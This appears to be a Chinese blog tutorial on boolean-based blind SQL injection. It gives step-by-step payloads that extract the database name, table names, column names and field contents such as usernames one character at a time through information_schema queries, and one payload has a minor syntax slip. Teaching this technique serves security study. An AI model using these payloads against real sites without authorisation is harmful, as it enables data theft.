SQL盲注--布尔盲注

1.适用情况

输入参数后,正确页面和错误页面有差异。但输入order by 没有回显。即只能根据页面不同判断语句是否正确,但没有回显位置能显示信息。

2.解决原理

用函数(regexp,like,ascii,left,ord,mid,length)猜相关信息,构建有关数据库名的表达式,利用其正确时与错误时返回页面不一样的特征,看页面返回情况判断表达式对错,根据返回的页面来判断正确的数据信息。

3.相关函数

  • length(str) 函数,返回字符串的长度
    • str:字符串
    • length(database()) = 3 
    • ascii(str) 函数,返回字符ascii码
  • ascii(str) 函数,返回字符ascii码
    • str:单字符
  • substr(str,pos,length) / substring() 函数 , 返回从pos位置开始到length长度的子字符串
    • str: 字符串
    • pos:开始位置
    • length: 截取长度
    • substr()函数截取字符串:substr(database(),1,3) 
      (截取从左到右数的第1个字符到第3个字符)
  • left(str,length) 函数,返回从左至右截取固定长度的字符串
    • str:字符串
    • length:截取长度
    • left() 函数确定准确字母:left(database(),1) = a
  • count() 返回匹配指定条件的行数 

 

3.基本流程

(1).判断注入类型

(2).获取数据库名的长度

xx and length(database()) = 猜测的数字

(3).逐字猜解数据库名字

逐字猜解要用到substr(str,pos,length),依次增加pos来实现逐位遍历

先用ascii函数缩小范围

xx and ascii(substr(database(),1,1)) < 97

也可以用left(str,length) 函数猜测部分字符串

xx and left(database(),6) = "hetian"

(4).获取当前数据库中表的个数

需要用到count函数和information_schema库,注意select语句用括号包起来 

xx and (select count(table_name) from information_schema.tables where table_schema=database()) = 4 

(5).求当前数据库中其中一个表名的长度

由于一般情况下table_name有多个,此处需要用limit语句取指定位数上的表

  • limit语句 限制查询结果返回的数量
    • 举例:select * from tableName limit i,n

      • tableName : 为数据表;

      • i : 为查询结果的索引值(默认从0开始);

      • n : 为查询结果返回的数量

猜测第一个表的长度为4:

xx and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) = 4

猜测第二个表的长度为6: 

 xx and length((select table_name from information_schema.tables where table_schema=database() limit 1,1)) = 6

注意!

  • 表达式要再加一对括号,因为limit 0,1中有逗号,数据库会认为输入了两个参数从而报错。
  • 为了避免无效查询,先获取多个表的长度,再根据长度选择表

(6).逐字猜解数据表表名

xx and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 97

(7).求列名的数量

xx and (select count(column_name) from information_schema.columns where table_schema=database() and table_name="user") = 4

(8).求列名的长度

xx and length((select column_name from information_schema.columns where table_schema=database() and table_name="user" limit 0,1)) = 4

同上,为了避免无效查询,获取多个列名的长度,再根据长度选择

(9).求列名的ASCII码范围

xx and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="user" limit 0,1),1,1)) < 97

(10).逐字猜解列名

xx and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="user" limit 0,1),1,1)) = 107

(11).求字段内容的长度

xx and length(select username from user)=4

(12).求字段内容对应的ASCII

xx and ascii(substr((select username from user),1,1))=107

  • 3
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值